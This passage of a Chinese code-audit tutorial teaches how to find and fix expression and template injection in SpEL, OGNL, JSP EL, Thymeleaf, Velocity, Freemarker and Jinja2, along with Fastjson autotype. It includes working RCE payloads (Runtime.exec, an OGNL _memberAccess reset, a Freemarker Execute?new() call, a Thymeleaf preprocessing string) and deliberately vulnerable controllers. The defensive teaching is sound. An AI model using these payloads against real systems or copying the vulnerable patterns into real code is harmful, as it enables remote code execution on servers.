覆盖题库四.36(表达式注入如何审计)、四.37(Python 危险函数之 SSTI 部分)、四.38(Fastjson autotype),以及 Python 沙箱逃逸专题。 本篇默认你第一次接触代码审计,每个概念都会从”是什么、为什么会有、怎么找”三步讲起。
先修知识
读这篇之前,你只需要知道下面这些词是什么意思,每个一句话:
- 表达式(Expression):一小段”能算出结果的代码”,比如
1+1、user.age > 18。它不是完整的程序,但引擎能把它算出来。 - 表达式引擎:专门负责”算表达式”的组件。Java 里有 SpEL、OGNL、EL,Python 里 Jinja2 模板的
{{ }}也算半个。类比:表达式引擎就是计算器,你给它式子,它给你结果——问题是它这个计算器能按的键太多了,连”删除文件”这种键都有。 - 模板引擎 / 模板:做网页时用的”填空信纸”。模板里写
<h1>你好,{{name}}</h1>,引擎把{{name}}这个位置替换成真实数据。模板本体是信纸本身,渲染变量是填进去的字——这个区分是整篇的命门。 - Sink(汇点):代码里”危险动作真正发生”的那一行,比如
getValue()、render_template_string()。类比:水流的入海口。 - Source(源头):用户输入进入程序的那一行,比如
request.getParameter(...)。审计就是在找”从 Source 到 Sink 有没有通路”。 - RCE(远程命令执行):攻击者让服务器执行任意系统命令(比如
id、cat /flag),是 Web 漏洞里的最高危害。 - 上下文(Context)/ 沙箱:引擎求值时的”活动范围”。受限上下文 = 只准读数据;不受限上下文 = 能调任意类、任意方法。沙箱就是给攻击者准备的笼子——本篇会告诉你这笼子基本关不住人。
- 魔术属性(
__class__等):Python 里每个对象自带的隐藏属性,双下划线开头,能顺藤摸瓜摸到整个对象体系。 - 反序列化:把一段文本/字节还原成内存里的对象。还原成”哪个类”如果能被攻击者指定,就可能出事(Fastjson 一节专门讲)。
- getter / setter:Java 类里读/写字段的标准方法(
getName()/setName())。fastjson 反序列化时会自动调用它们,某些类的 setter 里藏着危险逻辑。 - 黑名单 / 白名单:黑名单 = “列出一堆不准用的”;白名单 = “只准用列出来的”。安全界铁律:黑名单永远列不全,白名单才可靠。
- payload:攻击者精心构造的输入串,交给漏洞点执行。
- 回显:服务器把执行结果显示在响应里,攻击者据此判断漏洞是否存在(比如输入
{{7*7}}看到49)。
0. 跨语言通用原理
0.1 一句话说清这两类漏洞
表达式注入与模板注入(SSTI,Server-Side Template Injection)的本质是同一件事:
攻击者可控的字符串,被当作”代码/表达式”而不是”数据”去求值。
先用生活类比建立直觉:
- 你让前台帮忙打印工牌,正常流程是:你在姓名栏写”张三”,前台把”张三”印上去。
- 出事的流程是:姓名栏的设计图纸上有一句”此处写姓名”,你趁前台不注意,把图纸本身改了,改成”此处写姓名,顺便把保险柜打开”。前台照着图纸干活,保险柜就开了。
- “图纸”就是模板/表达式,“姓名栏”就是渲染变量。输入只能进姓名栏,绝不能改图纸——这就是全部防御思想的源头。
拆开看:
- 表达式注入:业务代码或框架把用户输入交给表达式引擎(SpEL、OGNL、EL)求值。表达式语言在设计上就能访问对象、调用方法、甚至加载类(因为它们的正当用途就是”在配置里写逻辑”),一旦拼接进求值上下文,危害直接等同于代码执行。
- 模板注入(SSTI):开发者把用户输入拼进模板字符串本身(而不是作为渲染变量传入),模板引擎(Jinja2/Twig/Thymeleaf/Freemarker)把输入当作模板语法解析执行,从而获得服务端代码执行。
0.2 为什么会出现这种漏洞
别觉得开发者蠢,这三个动机你将来写代码也会遇到:
- 图省事:要做一个”动态搜索条件”功能,产品经理说”让用户自己输条件”。开发者一想:SpEL 现成的,一行
parseExpression(condition)搞定,比写参数解析器省两小时。——他不知道这等于给用户开了一个服务器终端。 - 不知道危险:
render_template_string('<h1>Hello ' + name + '</h1>')和render_template_string('<h1>Hello {{ name }}</h1>', name=name)看起来只差一个写法,教程里两种都见过,新手根本意识不到前者是 RCE。 - 误信输入:“这个参数只有内部系统会传""前端做了校验”——后端信了,攻击者绕过前端直接发请求,防线形同虚设。
0.3 统一判定公式与审计套路
统一判定公式(全篇总纲)
求值点(Sink)存在 + 表达式/模板字符串可拼接用户输入(Source)+ 求值上下文未受限(沙箱缺失或可被绕过)= 高危。
判别口诀:输入进”模板本体/表达式字符串” → 注入;输入只作”渲染变量” → 安全(引擎会自动转义,输入被当纯文本)。
审计任何一类表达式/模板注入,都是同一套三步:
- 搜 Sink 关键字:
parseExpression、getValue、render_template_string、createTemplate、evaluate、new Template(……(各语言的具体清单后面章节给全)。 - 沿数据流往回找 Source:这个 Sink 的参数是哪来的?追变量赋值链,看能不能追到
request.getParameter/request.args/@RequestParam。 - 看上下文是否设防:有没有用受限上下文?有没有过滤?过滤是黑名单还是白名单?(黑名单直接判不合格,理由见各章。)
0.4 利用升级的统一思路
攻击者拿到”能执行表达式”之后,接下来干什么?跨语言答案惊人地一致:沿语言的对象模型漫游到危险能力。
- Java:走
T(全限定类名)类型引用 / 反射链,摸到java.lang.Runtime执行命令。 - Python:走
__class__ → __mro__ → __subclasses__() → __globals__魔术属性链,摸到os模块执行命令。 - PHP:走模板引擎的危险 filter/函数(比如 Twig 的
filter可以把字符串当 PHP 函数回调,直接调system)。
也就是说:表达式注入只是”进门”,进门后大家找的都是同一个东西——执行系统命令的能力。审计时你只要确认”门是开的”,危害上限就按 RCE 报。
0.5 新手审计时最常见的三个误判
这三个坑几乎每个初学者都会踩一次,提前打预防针:
- 把”模板文件里的
{{ }}”当漏洞。看到.html/.j2模板文件里一堆{{ user.name }}就紧张——别急,这是模板的正常用法,变量由服务端 assign,用户摸不到。漏洞永远发生在”模板字符串的来源”那一行,而不是模板文件本身。审计顺序:先搜 Sink 函数(render_template_string、createTemplate、parseExpression),再看参数来源,而不是打开模板文件逐行读。 - 看到过滤就放过。“开发已经过滤了
Runtime关键字”——黑名单过滤不等于安全。本指南各章反复强调:字符串拼接、编码、反射间接调用,总有一款能绕过。审计结论里写清楚:“存在黑名单过滤,但黑名单可被绕过(附绕过示例),上下文未受限”,比”有过滤,低风险”专业得多。 - 混淆”参数进模板”和”参数进模板变量”。同一行
render_template_string('<h1>Hello {{ name }}</h1>', name=name),安全与否取决于name出现在**第一个参数(模板本体)还是关键字参数(渲染变量)**里。审计时眼神要落在这个细节上——这是全篇唯一的判别口诀:进图纸 = 注入,进姓名栏 = 安全。
带这三条去实战,第一轮审计的产出质量会明显不一样。
1. Java
Java 侧表达式/模板技术一览(先混个眼熟,后面逐个讲):
| 表达式/模板技术 | 典型使用方 | 注入面(触发点) | 危害上限 |
|---|---|---|---|
Java EL(JSP EL,${}) | JSP、JSP 2.x 之后的 EL 解析 | 用户输入二次写入 JSP 属性后渲染;EL 2.2+ 支持方法调用 | RCE(Runtime.getRuntime().exec) |
| SpEL | Spring 全家桶 | SpelExpressionParser.parseExpression(...).getValue()、@Value("${...}") 拼接、Spring Cloud Gateway 路由谓词 | RCE |
| OGNL | Struts2 | URL 参数/请求体被框架二次解析为 OGNL;_memberAccess 操纵 | RCE |
| Thymeleaf | Spring Boot 视图 | 返回值拼接进视图名,命中 __${...}__ 预处理 | SpEL RCE |
| Velocity | 老 Java 项目模板 | 用户输入作为模板内容 evaluate/merge | RCE(ClassTool 等) |
| Freemarker | 老 Java 项目模板 | 用户输入作为模板内容;freemarker.template.utility.Execute / ObjectConstructor | RCE |
1.1 SpEL 原理与触发
是什么
SpEL(Spring Expression Language)是 Spring 自带的表达式语言。它的正当用途是让开发者在注解和配置里写动态逻辑,比如 @Cacheable(key = "#user.id")——缓存 key 不是写死的,是运行时用表达式算出来的。
生活类比:SpEL 就像 Excel 单元格里以 = 开头的公式。正常员工填 =B2*1.13 算税;但 Excel 的公式语言如果能调 cmd.exe,你把单元格内容交给外部客户随便填,会发生什么?——SpEL 就是这个”能调 cmd 的 Excel”。
数据流模型
// ❌ 危险写法:用户输入直接拼进 SpEL
ExpressionParser parser = new SpelExpressionParser();
String input = request.getParameter("name"); // ① Source:用户输入从这进来
Expression exp = parser.parseExpression(input); // ② 把输入"编译"成表达式对象
String result = exp.getValue(String.class); // ③ Sink:求值——表达式里写什么就执行什么数据流四步拆解:
request.getParameter("name")拿到用户完全可控的字符串,没有任何过滤。parseExpression(input)只是编译,还不执行,但它已经承认”这串字符是代码”。getValue()真正求值。关键在:这里没传上下文对象,SpEL 会new一个默认的StandardEvaluationContext——不受限上下文,什么都能调。- 防线分析:整段代码没有任何一道防线。输入没过滤、上下文没限制,公式三项全中 → 高危。
SpEL 的关键能力(也正是攻击面)
| 语法 | 本来干什么 | 攻击者拿来干什么 |
|---|---|---|
T(全限定类名) | 引用 Java 类型、调静态方法(比如 T(java.lang.Math).random()) | T(java.lang.Runtime).getRuntime().exec("id") 执行系统命令 |
new 包名.类(...) | 在表达式里new对象 | new java.lang.ProcessBuilder("id").start() 起进程 |
对象.方法(...) / 对象.属性 | 方法调用与属性导航 | 从任意可达对象一路反射到 Class.forName |
#变量 | 引用上下文变量(如 #user.id) | 访问框架注入的内部对象,扩大战果 |
三类典型触发场景
审计时按这三类找,基本不会漏:
- 显式求值:业务代码自己
new SpelExpressionParser().parseExpression(可控参数).getValue()。最直白,全文搜parseExpression一搜一个准。 @Value/ 注解拼接:@Value("${" + param + "}"),或把用户输入注入到@Cacheable(key = "#root.getProperty('" + x + "')")这类支持 SpEL 的注解属性中。审计时注意:注解参数里的字符串拼接,新手最容易漏。- 框架内置求值点:有些框架自己会把配置当 SpEL 解析,根本轮不到业务代码出手。最出名的是 Spring Cloud Gateway:它的路由谓词参数会被当 SpEL 解析,3.1.1 / 3.0.7 之前的版本(即 3.1.x 早于 3.1.1、3.0.x 早于 3.0.7)存在通过 actuator 端点注入路由导致的 SpEL RCE(CVE-2022-22947)。这类审计依赖版本即可定性,不用自己找代码——看
pom.xml里 spring-cloud-gateway 的版本号落在受影响区间,直接出报告。
沙箱与绕过
Spring 官方是意识到危险的,从 Spring 4.3.15 / 5.0.5 起提供了 SimpleEvaluationContext:默认禁用类型引用(T())、构造器调用、bean 引用,只允许读写数据。
// ✅ 安全写法:受限上下文,T() 与 new 直接抛异常
SimpleEvaluationContext ctx = SimpleEvaluationContext.forReadOnlyDataBinding().build();
parser.parseExpression(input).getValue(ctx, String.class);两种上下文对比(这张表要背):
| 上下文 | 类型引用 T() | 构造器 new | 结论 |
|---|---|---|---|
StandardEvaluationContext(getValue() 不传上下文时的默认) | ✅ 允许 | ✅ 允许 | 等价 RCE |
SimpleEvaluationContext | ❌ 禁止 | ❌ 禁止 | 有效缓解 |
关于”民间防护”,记住一个结论就够了:
- Spring 没有官方黑名单机制。项目里常见的土办法是求值前用正则过滤
T(、Runtime、ProcessBuilder等关键字。 - 黑名单必可被绕过:字符串拼接变形(
T(java.lang.Run+time))、反射间接加载(T(java.lang.Class).forName('java.lang.Runtime')再取方法)、利用#this/#root可达对象链摸到 ClassLoader……办法总比黑名单多。 - 所以审计时看到 “黑名单过滤 + StandardEvaluationContext” 的组合,直接判定不合格,不用费劲验证绕过。
修复的正解只有两个:
- 换
SimpleEvaluationContext(表达式功能必须保留时); - 不让用户输入进入表达式——白名单映射:用户传个 key,服务端查表拿到预定义表达式(最佳实践,案例一末尾有完整代码)。
1.2 OGNL 原理与 Struts2 触发点
是什么
OGNL(Object-Graph Navigation Language,对象图导航语言)是 Struts2 的默认表达式语言。“导航”的意思:给它一个起点对象,它能沿着属性、方法一路走到任何关联对象——user.address.city.name 这种链式访问就是它的日常。
生活类比:OGNL 像公司的内部通讯录系统,本来设计是让你按”部门→小组→员工”查电话。但如果通讯录还能帮你”拨打任意分机并让对方执行指令”,而登录口令又是门卫随口告诉任何人的,这栋楼就归攻击者管了。
为什么说 Struts2 本身就是 Sink
这是 OGNL 和 SpEL 最大的不同,也是面试高频点:
- Struts2 的请求参数在进入 Action 前后,可能被框架二次解析为 OGNL——比如参数名本身、某些标签属性、错误回显。
- 所以攻击者不需要应用代码显式调用
Ognl.getValue,框架自己就是 Sink。这就是为什么 Struts2 历史上爆出一连串 OGNL RCE(S2-045、S2-057……),全是框架层的锅。
防护机关:_memberAccess
OGNL 求值依赖上下文对象 OgnlContext,里面有个 _memberAccess(MemberAccess 接口的实现),相当于门卫,控制”是否允许调静态方法、访问私有成员”:
- 正常情况下 Struts2 用
SecurityMemberAccess,把allowStaticMethodAccess设为 false——静态方法调用被禁,@java.lang.Runtime@getRuntime()这种调用会被门卫拦下。 - 攻击链的核心动作就是操纵
_memberAccess:OGNL 表达式能访问上下文中的对象并修改其属性,攻击者用表达式把_memberAccess替换/重置成宽松的DefaultMemberAccess(门卫换成自己人),或清掉黑名单集合,然后@java.lang.Runtime@getRuntime().exec(...)就畅通无阻了。
// OGNL 恶意表达式的通用骨架(机制示意,理解结构即可,不用背)
(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).( // 第一步:换掉门卫
@java.lang.Runtime@getRuntime().exec("id") // 第二步:调静态方法执行命令
)骨架拆解:@类名@静态方法() 是 OGNL 调静态方法的语法(两个 @);(...).(...) 是逗号表达式的分组,保证先换门卫再执行。
Struts2 侧的防护与失效循环
Struts2 的防护演进是典型的”黑名单 ↔ 绕过”拉锯战,理解机制即可,不必背 CVE 号:
- 初版思路:过滤请求参数中的
#、\u0023、(等字符 → 被编码变形、变量间接赋值绕过。 - 加强思路:在
SecurityMemberAccess/ExcludedClasses/ExcludedPackageNames里维护类与包的黑名单(java.lang.Runtime、ProcessBuilder、ognl.OgnlContext等)→ 攻击者不断找不在黑名单里的等价类(ClassLoader、ProcessImpl、实例方法链)绕过。 - 入口翻新:参数名、Content-Type 等层面的 OGNL 触发点(如
Content-Type: %{...}被当表达式解析)多次开出新入口。
审计结论(可直接套用的模板)
Struts2 项目的 OGNL 注入审计 ≈ 版本审计: ① 确认
struts2-core版本是否落在任一 OGNL RCE 漏洞影响区间、是否打了对应补丁; ② 业务代码层面只需确认没有自己把用户输入交给Ognl.parseExpression/Ognl.getValue,或拼接进<s:...>标签的动态属性。 两件事都干净,OGNL 这章就可以翻篇。
1.3 JSP EL
- 是什么:JSP 页面里的
${...},本来用来在页面上读个变量,比如${user.name}。EL 2.2 之后升级成”还能调方法”,危险等级直接拉满——${Runtime.getRuntime()}这种写法在旧版 EL 里根本不支持,2.2 之后合法了。 - 注入面有两类:
- 二次渲染:用户输入第一次当数据存下(比如存进 request 属性),第二次被另一个 JSP/标签当 EL 表达式解析。这种最隐蔽,因为单独看每一跳都像正常代码。
- 显式求值:业务代码主动把输入交给
javax.el.ExpressionFactory.createValueExpression或 JDK 自带的ELProcessor求值。
// ❌ 危险写法示例:用 JDK 自带的 ELProcessor 做"动态规则"
import javax.el.ELProcessor;
@GetMapping("/rule")
public String rule(@RequestParam String expr) {
ELProcessor el = new ELProcessor(); // JDK 内置的 EL 求值器
Object result = el.eval(expr); // 用户输入直接求值,无任何限制
return "result: " + result; // expr=${"".getClass().forName("java.lang.Runtime")...} 即 RCE
}- 为什么会出现:不少教程把
ELProcessor当”轻量级表达式计算器”推荐,开发者压根没意识到它默认不加任何限制。 - 防御:用户输入只做”值”,不二次渲染为 EL;JSP 输出统一用
c:out(自动转义);见到ELProcessor.eval(可控输入)直接报高危。
1.4 模板引擎:Thymeleaf / Velocity / Freemarker
Thymeleaf __${...}__ 预处理
先理解一个正常功能:预处理。Thymeleaf 里 __${expression}__ 的意思是:先求值内层表达式,再把结果拼回外层继续解析。设计用途是”动态拼接片段路径”,比如 ~{fragments/__${menu}__::body}——先算出 menu 的值是 admin,再去找 fragments/admin::body 这个片段。
看出来了吗?这个”先算一次、结果再算一次”的机制,天生就是二次求值:如果内层算出来的结果里又包含 ${...},会被再解析一轮 → 注入。
触发条件(三要素缺一不可,审计时逐条核对):
- 控制器返回的视图名/片段选择器拼接了用户输入(经典写法:
return "path/" + param;或return "welcome :: " + param;)。 - 拼接位置会经过模板解析(视图名本质是
~{...}片段表达式的一部分时)。 - 用户输入形似
__${payload}__::.x,使预处理先吃掉 payload。
// ❌ 危险写法:视图名拼接可控参数
@GetMapping("/path")
public String path(@RequestParam String lang) {
return "user/" + lang + "/welcome"; // lang 可控 → 可构造 __${...}__ 注入
}payload 形如:__${T(java.lang.Runtime).getRuntime().exec("id")}__::.x。逐段拆:__ 和 __ 是预处理的边界标记;中间是标准 SpEL 命令执行;::.x 是片段选择器语法,作用是让整体语法合法不报错(没有它模板解析可能先崩,payload 到不了求值那步)。
审计要点
Thymeleaf 注入的 Sink 不在模板文件里,而在 Controller 的返回语句。很多新手审计时死磕
.html模板文件,方向就错了。 关键字:Controller 里return+ 字符串拼接 +@RequestParam/@PathVariable,以及::片段选择器用法。 修复:视图名走白名单映射,或把参数放进Model由模板正常渲染(当数据,不当图纸)。
Velocity 注入
// ❌ 危险写法:用户输入作为模板内容
VelocityEngine ve = new VelocityEngine();
ve.init();
StringWriter w = new StringWriter();
ve.evaluate(new VelocityContext(), w, "tpl", userInput); // userInput 被当模板源码解析逐行看:evaluate(上下文, 输出, 模板名, 模板内容)——第四个参数 userInput 是模板本体。用户在里面写 #set($x=...)、写 $class.forName(...),引擎照单执行。
- Velocity 2.x 起默认禁用了
ClassTool、Runtime等危险工具的暴露,但老项目常用 1.x,或手动配置缺失SecureUberspector(安全属性检查器),利用路径是$class.forName(...)或从上下文对象出发的$e.getClass().forName("java.lang.Runtime")...。 - 审计关键字:
Velocity.evaluate、Velocity.mergeTemplate、VelocityEngine、Uberspect配置。
Freemarker 注入
// ❌ 危险写法:模板内容来自用户输入
Template t = new Template("name", userInput, cfg); // 第二个参数就是模板源码
t.process(dataModel, out); // 渲染 = 编译执行- Freemarker 的危险点在于两个内建工具类:
freemarker.template.utility.Execute(执行系统命令)与ObjectConstructor(实例化任意类)。配合?new内建函数(按类名构造对象),一条就拿下:${"freemarker.template.utility.Execute"?new()("id")}。- 逐段拆:
"freemarker.template.utility.Execute"是危险类的全限定名字符串 →?new()把它变成实例 →("id")调用它的exec逻辑执行命令。
- 逐段拆:
- 官方缓解是
Configuration.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER):限制?new只能构造白名单类(Execute、ObjectConstructor都不在白名单里)。 - 审计关键字:
new Template((看第二个参数来源)、setTemplateLoader加载用户内容、?new、Execute、TemplateClassResolver配置。
1.5 审计关键字表与判定流程
Sink / Source 关键字表(审计时的”搜索清单”,拿到项目先全文搜一遍)
| 类别 | 关键字 |
|---|---|
| SpEL | SpelExpressionParser、parseExpression、getValue、StandardEvaluationContext、@Value(拼接)、ShortcutConfigurable(SCG) |
| OGNL | Ognl.parseExpression、Ognl.getValue / Ognl.setValue、_memberAccess、SecurityMemberAccess、struts2-core 版本号 |
| JSP EL | javax.el.ExpressionFactory、createValueExpression、ELProcessor(JDK 自带 javax.el 求值器) |
| Thymeleaf | Controller return "..."+param、:: 片段、__${ |
| Velocity | Velocity.evaluate、mergeTemplate、VelocityEngine |
| Freemarker | new Template( 字符串来源、TemplateLoader、?new、Execute |
Source 表:@RequestParam、@RequestBody、@PathVariable、request.getParameter/getHeader/getCookies、URL 路径片段、JSON 反序列化字段。
判定流程(背下来,面试可以直接复述)
发现求值点(Sink)
│
├─ ① 表达式字符串是否拼接用户输入?── 否 → 安全(常量表达式,翻篇)
│
├─ ② 求值上下文是否受限?
│ SpEL:是否 SimpleEvaluationContext?
│ OGNL:SecurityMemberAccess 是否被加固 / 版本是否打补丁?
│ Freemarker:是否 SAFER_RESOLVER?
│ ── 是 → 低风险,记录即可
│
├─ ③ 是否有输入过滤?白名单映射 → 合格;黑名单/正则 → 判不合格(可绕过)
│
└─ ④ 上下文未受限 + 输入可控 → 高危表达式注入
1.6 Fastjson autotype 机制(点到为止)
本节点到为止:讲清机制与防护演进,不构造具体 payload。autotype 虽属反序列化范畴,但其”类型可控即实例化任意类”的机制与表达式注入的”上下文未受限”高度同源,面试常与表达式注入同问。
为什么需要 autotype(从设计动机讲起)
Fastjson 序列化对象时默认不写入类型信息:一个 Dog 对象序列化出来就是 {"name":"旺财"},没有地方写”这是 Dog”。
问题来了:反序列化时,如果目标字段是接口/抽象类/Object 类型(比如 Animal pet;),fastjson 拿着 {"name":"旺财"} 根本不知道该还原成 Dog 还是 Cat。@type 字段(autotype 机制)就是为此设计的:序列化时写入类全名 {"@type":"com.x.Dog","name":"旺财"},反序列化时按 @type 指定的类实例化。
攻击面由此产生,而且非常直白——@type 可控,就意味着攻击者可以指定任意类让 fastjson 实例化,并自动调用其 setter/getter。只要classpath里存在一个”setter/getter 里有危险逻辑”的类(史称”利用类”/gadget,最经典的是 JNDI 数据源类,setter 会发起远程类加载),配合它即可 RCE。
生活类比:autotype 像快递柜的”凭取件码取货”。本来取件码对应你自己的包裹;但如果取件码是你自己填的,而快递柜对”取件码”不做任何校验,你填隔壁柜的码就能开隔壁柜的门——再碰巧那个柜子里放着整栋楼的总钥匙(危险类),游戏结束。
checkAutoType 黑白名单
- 1.2.25 引入
checkAutoType:默认autoTypeSupport=false,维护内置黑名单(已知危险类/包)+ 用户白名单(ParserConfig.getGlobalInstance().addAccept(...))。 - 黑名单校验逻辑早期存在缺陷:比对前会做
L...;形式处理等字符串规整,攻击者通过字符串变形/进制混淆/缓存投毒反复绕过,于是出现 1.2.25 → 1.2.41 / 42 / 43 / 45 / 47 等一连串”补黑名单—绕过—再补”的版本演进。- 审计记忆点:版本区间 = 风险区间。看到 fastjson 1.2.x,先对版本号,落在某个绕过的影响区间里就是”按未修复处理”。
- safeMode(1.2.68+):
ParserConfig.getGlobalInstance().setSafeMode(true)完全关闭 autotype,与@type白名单无关,是最硬的开关。快递柜的故事里,这相当于”取件码功能直接下线”。
autotype=false 时的绕过思路(机制层面)
即使 autoTypeSupport=false,仍存在两条研究过的攻击面,了解思路即可:
- 期望类(expectClass):反序列化时如果调用方显式指定了目标类型(
JSON.parseObject(json, SomeClass.class)),fastjson 会检查@type是否为期望类的子类——攻击者寻找期望类体系中合法但危险的子类(例如实现了AutoCloseable/Throwable等宽泛接口的危险实现类),使其通过类型检查。 - 反序列化器(deserializer)链:某些类在 fastjson 注册表中有自定义 deserializer,其反序列化过程本身会触发危险行为(实例化、文件、网络);配合上面的期望类检查逻辑,把危险 deserializer 类塞进合法子类型位置。
审计结论写法(可直接抄进报告)
fastjson 1.2.x 项目,默认配置 +
parseObject(String)处理外部 JSON = 按未修复处理;唯一可信的缓解是升级 + safeMode,或迁移 Jackson(不开 default typing)。
1.7 案例
案例一:SpEL 注入(显式求值点)
漏洞代码(逐行注释)
// SearchController.java —— 用户输入的搜索条件拼进 SpEL
@RestController
public class SearchController {
private final ExpressionParser parser = new SpelExpressionParser(); // SpEL 解析器,全局一个
@GetMapping("/search")
public String search(@RequestParam String condition) { // ① condition 完全由用户控制
User user = new User("alice", 30); // 模拟一个待匹配的用户对象
// ❌ 危险:condition 直接作为 SpEL 表达式求值,且不传上下文 → 默认 StandardEvaluationContext
Object result = parser.parseExpression(condition).getValue(user);
return "matched: " + result; // 求值结果回显给攻击者
}
}数据流四步:
- 输入从哪进来:
@RequestParam String condition,URL 里的?condition=xxx,无任何过滤。 - 经过什么处理:
parseExpression(condition)把输入编译成表达式对象——注意,这里没有任何校验,用户写什么就编译什么。 - 到达哪个危险函数:
getValue(user)。user是求值的根对象(表达式里的裸属性名如name会到它身上找),但因为没传上下文参数,Spring 内部创建默认的StandardEvaluationContext。 - 为什么防线失效:唯一的潜在防线是”上下文”,而默认上下文不限制任何东西——
T()类型引用、构造器调用全部放行。公式三项全中。
正常用法 vs 恶意用法对比:
# 正常:匹配名字叫 alice 的用户
GET /search?condition=name == 'alice' → 返回 matched: true
# 恶意:表达式里不再是"查数据",而是"调系统命令"
GET /search?condition=T(java.lang.Runtime).getRuntime().exec("calc")
payload 逐段拆解:
T(java.lang.Runtime)——T(...)是 SpEL 的类型引用语法,拿到Runtime这个类的句柄;.getRuntime()—— 调它的静态方法,拿到运行时实例;.exec("calc")—— 弹计算器(Windows 下证明 RCE 的经典动作;真实攻击换成任意命令)。
审计结论与修复
结论:表达式可控 + 上下文未受限 + 无任何过滤 → 高危 RCE。
// ✅ 修复一:受限上下文(只允许读数据绑定,T()/new 直接抛异常)
@GetMapping("/search")
public String search(@RequestParam String condition) {
SimpleEvaluationContext ctx =
SimpleEvaluationContext.forReadOnlyDataBinding().build();
// 注意:根对象通过 getValue 的第二个参数传入,SimpleEvaluationContext 的 Builder
// 并没有 withRootObject 方法,老笔记里那种写法是错的。
Object result = parser.parseExpression(condition).getValue(ctx, user);
return "matched: " + result;
}
// ✅ 修复二(更推荐):白名单映射,用户输入永远不进表达式字符串
private static final Map<String, String> CONDITIONS = Map.of(
"byName", "name == #q", // 表达式是服务端写死的常量
"adult", "age >= 18");
@GetMapping("/search")
public String search(@RequestParam String type, @RequestParam String q) {
String expr = CONDITIONS.get(type); // 用户只能选 key,选不到就拒绝
if (expr == null) return "unknown condition";
SimpleEvaluationContext ctx = SimpleEvaluationContext.forReadOnlyDataBinding().build();
ctx.setVariable("q", q); // 用户的值以变量身份进上下文,是数据不是代码
return "matched: " + parser.parseExpression(expr).getValue(ctx, user);
}修复二为什么更推荐:表达式字符串(name == #q)是服务端常量,攻击者连”图纸”的边都摸不到;他能控制的只有 #q 这个变量值,而变量在求值时被当数据处理。这就是 0.3 节口诀”输入只作渲染变量”在 SpEL 场景下的落地。
案例二:Thymeleaf 预处理注入
漏洞代码(逐行注释)
// LangController.java —— 视图名拼接可控参数
@Controller
public class LangController {
@GetMapping("/doc")
public String doc(@RequestParam String lang) { // ① lang 完全可控
// ❌ 危险:lang 进入视图名,而视图名会被 Thymeleaf 当表达式解析
return "doc/" + lang; // ② 拼接发生在这里
}
}数据流四步:
- 输入从哪进来:
@RequestParam String lang。 - 经过什么处理:
return "doc/" + lang——Controller 返回的字符串不是直接发给浏览器的,Spring 视图解析器会把它交给 Thymeleaf 当”视图名/片段表达式”解析。 - 到达哪个危险函数:Thymeleaf 的片段表达式解析器。这就是为什么说 Sink 在 Controller 的 return 语句,不在模板文件里。
- 为什么防线失效:视图名解析时支持
__...__预处理,这是一个”先算内层、结果再参与外层解析”的二次求值机制;没有任何配置告诉 Thymeleaf”这个参数不可信”,它也不知道——它只知道自己在解析一个视图名。
利用
GET /doc?lang=__${T(java.lang.Runtime).getRuntime().exec("calc")}__::.x
payload 逐段拆解:
__……__—— 预处理边界,Thymeleaf 见到后先求值中间的部分;${T(java.lang.Runtime).getRuntime().exec("calc")}—— 标准 SpEL 命令执行(Thymeleaf 在 Spring 环境下表达式底层就是 SpEL);::.x—— 片段选择器语法尾巴,保证整个视图名在语法上合法,解析不中断(没有它,模板解析可能先抛异常,payload 活不到执行那刻)。
审计结论与修复
结论:视图名可控 + 无白名单 → 高危 SpEL RCE(经 Thymeleaf 预处理触发)。
// ✅ 修复:视图名白名单映射,参数只用于选 key
private static final Set<String> ALLOWED = Set.of("zh", "en");
@GetMapping("/doc")
public String doc(@RequestParam String lang) {
if (!ALLOWED.contains(lang)) { // 不在白名单里的值,根本到不了 return 那行
return "doc/default";
}
return "doc/" + lang; // 此时 lang 只可能是 zh/en,不构成注入
}前后对比的核心变化:修复前 lang 是任意字符串,修复后 lang 是枚举值——攻击面从”无限”收窄到”两个合法选项”。
1.8 Java 防御与修复汇总
| 技术 | 修复手段 |
|---|---|
| SpEL | SimpleEvaluationContext;白名单映射表达式;杜绝拼接 |
| OGNL / Struts2 | 升级 struts2-core 到无已知 OGNL RCE 的版本;不在业务代码中用 Ognl.getValue 处理用户输入 |
| JSP EL | 用户输入只做”值”,不二次渲染为 EL;JSP 输出统一 c:out |
| Thymeleaf | 视图名/片段白名单;参数放 Model 渲染而非拼接视图名 |
| Velocity | 升级 2.x + SecureUberspector;模板内容不可控 |
| Freemarker | SAFER_RESOLVER;模板内容不可控 |
| Fastjson | 升级到 1.2.68+ 并 setSafeMode(true);或迁移 Jackson 不开 default typing |
2. Python
Python 侧的表达式/模板注入主战场是 Jinja2 SSTI(Flask 生态),Mako、Tornado 模板同理。与 Java 的关键区别:Python 没有”受限求值上下文”的官方概念——Jinja2 没有一个 SimpleEvaluationContext 给你换。所以防御完全押注在一件事上:“模板本体不可控”。而沙箱逃逸,是 SSTI 之后面试官的必然追问。
2.1 成因与 Sink
为什么会出现
Flask 官方文档里 render_template_string 的示例是渲染常量模板。但新手要做”个性化欢迎页”时,第一反应往往是把名字拼进 HTML 字符串再渲染——毕竟字符串拼接是学 Python 第一周就会的东西,而”渲染变量”这个概念还没建立。这就是动机:图省事 + 不知道危险,和第 0 章说的一模一样。
一段代码看懂对错只在一线之间
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/hello')
def hello():
name = request.args.get('name', '') # ① Source:用户输入
# ❌ 危险:name 拼进了模板本体。模板里出现 {{7*7}} 会被当表达式求值为 49
return render_template_string('<h1>Hello ' + name + '</h1>')
# ✅ 安全:模板本体是常量,name 是渲染变量。引擎只转义输出,不解析其中的 {{ }}
# return render_template_string('<h1>Hello {{ name }}</h1>', name=name)两种写法的本质区别:
- ❌ 写法里,
name的内容会经过 Jinja2 的词法分析——用户输入{{7*7}},引擎看到{{ }}就当作”这里有个表达式”,算出 49 填进去。输入改了图纸。 - ✅ 写法里,模板里只有一个占位符
{{ name }},引擎求值时发现变量值是字符串{{7*7}},它只会把这个字符串当普通文本输出(还会做 HTML 转义),绝不会再解析一遍。输入只是填进姓名栏的字。
审计关键字(拿到 Flask 项目先搜这些):
- Sink:
render_template_string(、Template((Jinja2 直接实例化)、Mako Template(,以及任何 f-string /+拼接进模板第一参数的写法。 - Source:
request.args/request.form/request.values/request.cookies/request.headers。
2.2 利用链:Python 对象图漫游
原理:从”一个空字符串”爬到”整个操作系统接口”
SSTI 让攻击者能在 {{ }} 里写 Python 表达式。但模板上下文里没有 os、没有 open,怎么办?答案是:Python 里万物皆对象,每个对象都自带通往全局的”任意门”(魔术属性)。
